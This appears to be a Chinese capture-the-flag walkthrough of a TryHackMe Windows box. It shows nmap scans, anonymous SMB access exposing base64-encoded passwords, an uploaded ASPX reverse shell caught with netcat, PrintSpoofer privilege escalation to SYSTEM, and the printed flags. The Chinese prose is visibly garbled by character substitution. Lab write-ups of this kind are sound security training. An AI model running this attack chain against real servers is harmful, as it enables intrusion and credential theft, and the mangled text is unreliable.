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服务发现
┌──(root💀kali)-[~]
└─# nmap -sV -Pn 10.10.150.167 -p- 255 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-09-09 04:20 EDT
Nmap scan report for 10.10.150.167
Host is up (0.32s latency).
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
49663/tcp open http Microsoft IIS httpd 10.0
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 448.90 seconds
剖析
80 和 49663 都开启了 http 服务，目录爆破没有发现什么乏味的货色
445 貌似存在永恒之蓝破绽，然而没有攻打胜利
samba 枚举, 提醒在 \10.10.150.167\nt4wrksv 里有一个 passwords.txt 文件
┌──(root💀kali)-[~/tryhackme]
└─# nmap --script "safe or smb-enum-*" -p 445 10.10.207.135 > smb.txt
smb-enum-shares:
| account_used: guest
| \\10.10.150.167\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.150.167\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.150.167\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.10.150.167\nt4wrksv:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITE
| smb-ls: Volume \\10.10.150.167\nt4wrksv
| SIZE TIME FILENAME
| <DIR> 2020-07-25T15:10:05 .
| <DIR> 2020-07-25T15:10:05 ..
| 98 2020-07-25T15:13:05 passwords.txt
|_
匿名连贯 //10.10.150.167/nt4wrksv , 下载 passwords.txt 文件
──(root💀kali)-[~]
└─# smbclient //10.10.150.167/nt4wrksv 1 ⨯
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 8 06:09:40 2021
.. D 0 Wed Sep 8 06:09:40 2021
passwords.txt A 98 Sat Jul 25 11:15:33 2020
7735807 blocks of size 4096. 5137057 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> ^C
本地关上 passwords.txt 文件，是一个加密的用户账号密码
┌──(root💀kali)-[~]
└─# cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk 看开端有两个 == 号，猜想是 base64 加密，放到 hackbar 里解密
加密串：Qm9iIC0gIVBAJCRXMHJEITEyMw==
解密：Bob - !P@$$W0rD!123
加密串：QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
解密：Bill - Juw4nnaM4n420696969!$$$所以这两个是什么服务的账号密码？
因为开了 3389 端口，认为是近程连贯的账号，尝试连贯，然而都失败了
然而关上 http://10.10.150.167:49663/nt…，同样能够拜访到下面的信息，阐明分享的目录在 iss 能够拜访的目录内，也就是说能够通过上传一个 asp 文件，拿到反弹的 shell
胜利上传一个 asp 文件,payload 见：https://github.com/borjmz/asp…
┌──(root💀kali)-[~]
└─# smbclient //10.10.150.167/nt4wrksv
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> put /root/tryhackme/rev
reverse_shell.apsx revse_shell.php
smb: \> put /root/tryhackme/reverse_shell.apsx ./shell.aspx
putting file /root/tryhackme/reverse_shell.apsx as \shell.aspx (11.7 kb/s) (average 11.7 kb/s)
smb: \> ls
. D 0 Thu Sep 9 04:33:54 2021
.. D 0 Thu Sep 9 04:33:54 2021
passwords.txt A 98 Sat Jul 25 11:15:33 2020
shell.aspx A 15492 Thu Sep 9 04:33:55 2021
7735807 blocks of size 4096. 5134626 blocks available
smb: \> 拜访 http://10.10.150.167:49663/nt…，拿到一个反弹 shell
┌──(root💀kali)-[~/tryhackme]
└─# nc -lnvp 1234 130 ⨯
listening on [any] 1234 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.150.167] 49893
Spawn Shell...
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
c:\windows\system32\inetsrv>
拿到 userflag
c:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}运行 whoami /priv 查看以后用户在零碎中的权限
PS C:\inetpub\wwwroot\nt4wrksv> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
以后用户启用了 SeImpersonatePrivilege，意味着能够利用令牌模仿来晋升权限
从 https://github.com/itm4n/Prin… 下载 64 位的 PrintSpoofer64.exe，而后通过 smb 上传到 windows 靶机
提权
PS C:\inetpub\wwwroot\nt4wrksv> .\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system拿到 root flag
PS C:\users\administrator\desktop> type root.txt
type root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
PS C:\users\administrator\desktop>
正文完
